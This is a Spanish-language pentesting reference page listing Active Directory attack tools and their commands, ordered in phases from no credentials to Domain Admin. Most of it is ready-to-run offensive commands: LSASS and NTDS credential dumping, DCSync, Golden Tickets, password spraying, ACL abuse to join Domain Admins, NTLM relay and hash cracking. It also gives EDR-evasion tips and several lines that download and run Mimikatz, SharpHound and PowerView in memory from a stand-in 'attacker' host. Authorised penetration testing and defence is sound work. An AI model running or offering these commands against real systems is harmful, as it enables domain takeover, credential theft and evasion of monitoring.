README
Herramientas de Active Directory
Section titled “Herramientas de Active Directory”Flujo de trabajo recomendado
Section titled “Flujo de trabajo recomendado”El pentesting de AD sigue una progresión lógica donde cada herramienta tiene su momento óptimo. Usarlas en el orden correcto evita hacer ruido innecesario y maximiza la información obtenida en cada fase.
FASE 1 — Sin credencialesResponder + Kerbrute → capturar hashes y enumerar usuarios válidos
FASE 2 — Primera cuenta de dominio obtenidaBloodHound/SharpHound → mapear el dominio completoNetExec → verificar acceso y enumerar en masaPowerView → enumeración detallada de ACLs y objetos
FASE 3 — ExplotaciónImpacket → Kerberoasting, AS-REP Roasting, secretsdumpRubeus → ataques Kerberos desde WindowsNetExec → movimiento lateral y ejecución remota en masa
FASE 4 — Domain Admin obtenidoImpacket secretsdump → dump completo de NTDSMimikatz / Rubeus → Golden Ticket, DCSyncPowerView → añadir permisos para persistenciaConsideraciones OPSEC
Section titled “Consideraciones OPSEC”En entornos con EDR o monitorización activa, algunas herramientas generan más ruido que otras:
| Acción | Ruidoso | Silencioso |
|---|---|---|
| Ejecución remota | psexec (crea servicio en disco) |
wmiexec (solo logs WMI) |
| Dump de credenciales | Mimikatz en disco | lsassy, nanodump, nxc --lsa |
| Tickets Kerberos | RC4 (0x17 — alertas frecuentes) | AES256 (0x12 — menos detectable) |
| Enumeración AD | LDAP queries masivas | BloodHound con --stealth |
# Preferir AES256 sobre RC4 en tickets Kerberos.\Rubeus.exe asktgt /user:usuario /aes256:AES_HASH /opsec /ptt
# lsassy — dump de LSASS sin escribir mimikatz en discopip3 install lsassylsassy -u usuario -p contraseña 10.10.10.10
# Invoke-Mimikatz — cargar en memoria sin tocarlo en discoIEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'El flujo más eficiente: BloodHound para mapear el dominio → NetExec para verificar accesos y ejecutar en masa → Impacket para explotar desde Linux → Mimikatz/Rubeus para ataques Kerberos desde Windows.
Mantener siempre actualizados Impacket y NetExec — añaden nuevas técnicas y módulos constantemente.
BloodHound
Section titled “BloodHound”BloodHound es la herramienta más importante para análisis de AD. Recopila datos del dominio y los representa como un grafo de relaciones que permite encontrar rutas de ataque hacia Domain Admin que serían invisibles analizando los datos manualmente.
SharpHound — recopilación de datos
Section titled “SharpHound — recopilación de datos”# Recopilación completa.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Solo datos del DC (más rápido, menos ruido).\SharpHound.exe -c DCOnly --zipfilename dc_data.zip
# Stealth — evitar consultas ruidosas.\SharpHound.exe -c All --stealth --zipfilename data.zip
# En memoria (sin tocar disco)IEX (New-Object Net.WebClient).DownloadString('http://attacker/SharpHound.ps1')Invoke-BloodHound -CollectionMethod All -ZipFileName data.zip# bloodhound-python desde Linux (no requiere acceso Windows)pip3 install bloodhoundbloodhound-python -u usuario -p contraseña -d empresa.local -ns 10.10.10.10 -c All --zipQueries predefinidas más útiles
Section titled “Queries predefinidas más útiles”Una vez importados los datos en BloodHound (File → Import → subir el ZIP):
- Find Shortest Paths to Domain Admins — la más importante, ruta más corta desde cualquier nodo a DA
- Find Principals with DCSync Rights — cuentas con derechos de replicación
- Find Computers with Unconstrained Delegation — equipos vulnerables
- Find AS-REP Roastable Users — usuarios sin preautenticación
- Find Kerberoastable Users — usuarios con SPN configurado
- Shortest Path from Owned Principals — marcar nodos comprometidos (clic derecho → Mark as Owned) y buscar el camino desde ahí
Queries Cypher personalizadas
Section titled “Queries Cypher personalizadas”-- Usuarios con GenericAll sobre Domain AdminsMATCH p=(u:User)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@EMPRESA.LOCAL"}) RETURN p
-- Todos los paths desde un usuario comprometido hacia DAMATCH p=shortestPath((u:User {name:"USUARIO@EMPRESA.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@EMPRESA.LOCAL"})) RETURN p
-- Cuentas con contraseña que no expiraMATCH (u:User {passwordneverexpires:true, enabled:true}) RETURN u.nameImpacket
Section titled “Impacket”Suite de herramientas en Python para interactuar con protocolos de red Windows. Indispensable para pentesting de AD desde Linux.
| Herramienta | Uso principal |
|---|---|
impacket-psexec |
Shell remota via SMB (como SYSTEM) |
impacket-wmiexec |
Shell remota via WMI (más sigilosa) |
impacket-smbexec |
Shell remota SMB sin subir binarios |
impacket-secretsdump |
Dump de SAM, NTDS, LSA y hashes |
impacket-GetUserSPNs |
Kerberoasting |
impacket-GetNPUsers |
AS-REP Roasting |
impacket-ticketer |
Crear Golden/Silver Tickets |
impacket-ntlmrelayx |
NTLM Relay hacia SMB, LDAP, HTTP |
impacket-findDelegation |
Encontrar cuentas con delegación |
impacket-getTGT |
Obtener TGT como archivo .ccache |
impacket-getST |
Obtener Service Ticket (S4U2Self/Proxy) |
impacket-addcomputer |
Añadir cuenta de equipo al dominio |
# Instalarpip3 install impacket
# Distintas formas de autenticaciónimpacket-secretsdump empresa.local/usuario:contraseña@10.10.10.10 # contraseñaimpacket-secretsdump empresa.local/Admin@10.10.10.10 -hashes :NTLM_HASH # PtHexport KRB5CCNAME=ticket.ccacheimpacket-secretsdump -k -no-pass empresa.local/Admin@dc01.empresa.local # ticketNetExec (nxc)
Section titled “NetExec (nxc)”Sucesor de CrackMapExec. Permite ejecutar acciones en masa sobre toda una red con una sola línea. Referencia para verificación de credenciales, enumeración y post-explotación.
# Protocolos disponiblesnxc smb 192.168.1.0/24 -u usuario -p contraseña # SMBnxc ldap 10.10.10.10 -u usuario -p contraseña --users # LDAPnxc winrm 10.10.10.10 -u usuario -p contraseña # WinRMnxc rdp 10.10.10.10 -u usuario -p contraseña # RDP
# Enumeraciónnxc smb 10.10.10.10 -u usuario -p contraseña --sharesnxc smb 10.10.10.10 -u usuario -p contraseña --pass-polnxc ldap 10.10.10.10 -u usuario -p contraseña --asreproast asrep.txtnxc ldap 10.10.10.10 -u usuario -p contraseña --kerberoasting kerb.txt
# Post-explotaciónnxc smb 10.10.10.10 -u usuario -p contraseña --samnxc smb 10.10.10.10 -u usuario -p contraseña --lsanxc smb 10.10.10.10 -u usuario -p contraseña --ntdsnxc smb 10.10.10.10 -u usuario -p contraseña -x "whoami"
# Módulosnxc smb 10.10.10.10 -u usuario -p contraseña -M gpp_passwordnxc smb 10.10.10.10 -u usuario -p contraseña -M lsassynxc smb 10.10.10.10 -u usuario -p contraseña -M spider_plusnxc ldap 10.10.10.10 -u usuario -p contraseña -M get-desc-users
# Password sprayingnxc smb 10.10.10.10 -u usuarios.txt -p "Password123!" --continue-on-successMimikatz
Section titled “Mimikatz”La herramienta de referencia para extracción de credenciales de la memoria de Windows. Opera principalmente sobre LSASS.
# Siempre ejecutar primeroprivilege::debugtoken::elevate
# Dump de credencialessekurlsa::logonpasswords # credenciales de todas las sesionessekurlsa::wdigest # contraseñas en texto claro (Windows antiguo)sekurlsa::tickets # tickets Kerberos en memoriasekurlsa::ekeys # claves Kerberos AES
# SAM y LSAlsadump::samlsadump::secretslsadump::cache # Domain Cached Credentials
# DCSynclsadump::dcsync /user:krbtgt /domain:empresa.locallsadump::dcsync /all /domain:empresa.local
# Tickets Kerberoskerberos::list /export # exportar todos como .kirbikerberos::ptt ticket.kirbi # inyectar ticketkerberos::purge
# Golden Ticketkerberos::golden /user:Administrator /domain:empresa.local \ /sid:S-1-5-21-XXX-XXX-XXX /krbtgt:KRBTGT_HASH /ptt
# Sin escribir en discoIEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"' -ComputerName dc01Rubeus
Section titled “Rubeus”Herramienta en C# para operaciones Kerberos. Más moderna que Mimikatz para este propósito y con más opciones OPSEC.
# Kerberoasting.\Rubeus.exe kerberoast /outfile:hashes.txt.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt # solo RC4.\Rubeus.exe kerberoast /user:sqlsvc /outfile:hashes.txt
# AS-REP Roasting.\Rubeus.exe asreproast /outfile:hashes.txt
# Solicitar TGT.\Rubeus.exe asktgt /user:usuario /password:contraseña /domain:empresa.local /ptt.\Rubeus.exe asktgt /user:usuario /rc4:NTLM_HASH /domain:empresa.local /ptt.\Rubeus.exe asktgt /user:usuario /aes256:AES_HASH /domain:empresa.local /opsec /ptt
# Golden Ticket.\Rubeus.exe golden /rc4:KRBTGT_HASH /domain:empresa.local \ /sid:S-1-5-21-XXX-XXX-XXX /user:FakeAdmin /groups:512,518,519 /ptt
# S4U — Constrained Delegation y RBCD.\Rubeus.exe s4u /user:sqlsvc /rc4:NTLM_HASH /impersonateuser:Administrator \ /msdsspn:"cifs/target.empresa.local" /ptt
# Monitorizar tickets entrantes (Unconstrained Delegation).\Rubeus.exe monitor /interval:5 /filteruser:DC01$
# Gestión de tickets.\Rubeus.exe triage.\Rubeus.exe dump.\Rubeus.exe ptt /ticket:BASE64_TICKET.\Rubeus.exe purgeKerbrute
Section titled “Kerbrute”Herramienta en Go para enumeración y spraying via Kerberos. Más sigilosa que las alternativas SMB porque genera Event ID 4768 (AS-REQ) en lugar de 4625 (logon fallido).
# Enumerar usuarios válidoskerbrute userenum --dc 10.10.10.10 -d empresa.local usernames.txt -o validos.txt
# Password sprayingkerbrute passwordspray --dc 10.10.10.10 -d empresa.local validos.txt "Password123!"
# Brute force de un usuario específicokerbrute bruteuser --dc 10.10.10.10 -d empresa.local rockyou.txt administrador
# Con múltiples hiloskerbrute userenum --dc 10.10.10.10 -d empresa.local usernames.txt -t 50PowerView
Section titled “PowerView”Módulo de PowerShell del framework PowerSploit para enumeración completa de AD. La herramienta de referencia para enumeración manual detallada, especialmente ACLs y rutas de ataque.
# Cargar en memoria (sin tocar disco)IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerView.ps1')Enumeración del dominio
Section titled “Enumeración del dominio”Get-DomainGet-DomainController | Select Name, IPAddress(Get-DomainPolicy)."SystemAccess" # política de contraseñasGet-DomainTrust # trusts con otros dominiosGet-ForestTrustUsuarios
Section titled “Usuarios”Get-DomainUser | Select samaccountname, description, memberof, admincount
# Usuarios con contraseña en la descripción (muy frecuente)Get-DomainUser | Where-Object {$_.description -ne $null} | Select samaccountname, description
# Cuentas de alto valorGet-DomainUser -AdminCount # protegidas por AdminSDHolderGet-DomainUser -SPN # KerberoastablesGet-DomainUser -UACFilter DONT_REQ_PREAUTH # AS-REP RoastablesGet-DomainUser -UACFilter PASSWORD_NEVER_EXPIRESGrupos y equipos
Section titled “Grupos y equipos”Get-DomainGroupMember -Identity "Domain Admins" -RecurseGet-DomainGroup -MemberIdentity "usuario"
Get-DomainComputer -Unconstrained # Unconstrained DelegationGet-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegatetoFind-LocalAdminAccess -Verbose # dónde somos admin localLocalización de usuarios activos
Section titled “Localización de usuarios activos”Find-DomainUserLocation -GroupName "Domain Admins"Get-NetLoggedon -ComputerName WS01.empresa.localGet-NetSession -ComputerName dc01.empresa.localACLs — el uso más importante de PowerView
Section titled “ACLs — el uso más importante de PowerView”# Buscar ACLs abusables en todo el dominioFind-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite|ForceChangePassword|AddMember" -and $_.IdentityReferenceName -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrators"} | Select ObjectDN, ActiveDirectoryRights, IdentityReferenceName | Format-List
# ACLs sobre un objeto concretoGet-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericAll|Write|ForceChangePassword"}
# Permisos de DCSync sobre el objeto del dominioGet-ObjectAcl -DistinguishedName "DC=empresa,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -match "DS-Replication"} | Select IdentityReference, ObjectAceTypeExplotación directa
Section titled “Explotación directa”# Resetear contraseña (GenericAll o ForceChangePassword)Set-DomainUserPassword -Identity victima -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force)
# Añadir a un grupo (GenericAll o AddMember)Add-DomainGroupMember -Identity "Domain Admins" -Members "usuario_controlado"
# Targeted Kerberoasting — asignar SPN (GenericWrite)Set-DomainObject -Identity victima -Set @{serviceprincipalname='fake/spn'}Get-DomainSPNTicket -SPN "fake/spn" -OutputFormat Hashcat
# Dar derechos DCSync (WriteDACL sobre el dominio)Add-DomainObjectAcl -TargetIdentity "DC=empresa,DC=local" ` -PrincipalIdentity "usuario_controlado" -Rights DCSync -Verbose
# Hacerse propietario y darse permisos (WriteOwner)Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "usuario_controlado"Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "usuario_controlado" -Rights AllGPOs y shares
Section titled “GPOs y shares”Get-DomainGPO | Select displayname, gpcfilesyspathGet-DomainGPO -ComputerName WS01.empresa.local
Find-DomainShare -CheckShareAccessFind-InterestingDomainShareFile -Include *.xml,*.ini,*.txt,*.config,*.ps1Responder
Section titled “Responder”Responder es un envenenador de protocolos de resolución de nombres (LLMNR, NBT-NS, mDNS) que captura hashes NTLMv1/v2. Cuando un equipo intenta resolver un nombre que no existe en DNS, emite una consulta broadcast. Responder intercepta esa consulta, responde diciendo “soy yo”, y el equipo víctima intenta autenticarse enviando su hash NTLMv2. No genera tráfico activo hacia los objetivos — solo responde a peticiones que ya se producen.
Protocolos que envenena
Section titled “Protocolos que envenena”| Protocolo | Puerto | Descripción |
|---|---|---|
| LLMNR | UDP 5355 | Fallback cuando DNS falla en redes locales |
| NBT-NS | UDP 137 | NetBIOS Name Service, muy común en Windows |
| mDNS | UDP 5353 | Multicast DNS para resolución local |
| WPAD | TCP 80 | Web Proxy Auto-Discovery |
Uso básico
Section titled “Uso básico”# Modo análisis — ver qué hay en la red sin respondersudo responder -I eth0 -A
# Modo activo — capturar hashessudo responder -I eth0 -rdwv# -r habilitar respuestas NBT-NS# -d habilitar respuestas DHCP# -w habilitar servidor WPAD# -v verbose
# Ver hashes capturados en tiempo realtail -f /usr/share/responder/logs/Responder-Session.log
# Crackear los hasheshashcat -m 5600 /usr/share/responder/logs/NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txthashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.ruleResponder en modo relay
Section titled “Responder en modo relay”En lugar de crackear el hash, se puede retransmitirlo en tiempo real hacia otro sistema. Más potente porque no depende de la fortaleza de la contraseña.
# Paso 1: Identificar equipos sin SMB signingnxc smb 192.168.1.0/24 --gen-relay-list targets_relay.txt
# Paso 2: Deshabilitar HTTP y SMB en Responder# Editar /usr/share/responder/Responder.conf:# SMB = Off# HTTP = Off
# Paso 3: Iniciar Respondersudo responder -I eth0 -rdwv
# Paso 4: ntlmrelayx retransmite la autenticación capturadaimpacket-ntlmrelayx -tf targets_relay.txt -smb2support# Si el usuario es admin en el target → dump SAM automático
# Con sesión interactivaimpacket-ntlmrelayx -tf targets_relay.txt -smb2support -i# Conectar a la sesión: nc 127.0.0.1 PUERTO
# Relay hacia LDAP para modificar ACLs o crear cuentasimpacket-ntlmrelayx -t ldap://10.10.10.10 -smb2support --delegate-accessConfiguración de Responder.conf
Section titled “Configuración de Responder.conf”[Responder Core]SMB = On # cambiar a Off cuando se use ntlmrelayxHTTP = On # cambiar a Off cuando se use ntlmrelayxHTTPS = OnLDAP = OnDNS = OnSQL = OnFTP = OnResponder es más efectivo en redes donde hay equipos Windows que acceden a recursos inexistentes — shares mal configurados, scripts con rutas UNC incorrectas, impresoras… Estos equipos emiten consultas LLMNR/NBT-NS constantemente.
En redes con LLMNR y NBT-NS deshabilitados por GPO (buena práctica defensiva), Responder no capturará nada via esos protocolos. Verificar primero con el modo análisis (
-A) antes de activar el modo completo.
Referencias
Section titled “Referencias”| Recurso | URL |
|---|---|
| HackTricks AD | https://book.hacktricks.xyz/windows-hardening/active-directory-methodology |
| PayloadsAllTheThings AD | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md |
| ired.team | https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse |
| BloodHound docs | https://bloodhound.readthedocs.io |
| Impacket ejemplos | https://github.com/fortra/impacket/tree/master/examples |
| TarLogic Kerberos guide | https://www.tarlogic.com/blog/how-kerberos-authentication-works/ |
| AD Security blog | https://adsecurity.org |
| Harmj0y blog | https://blog.harmj0y.net |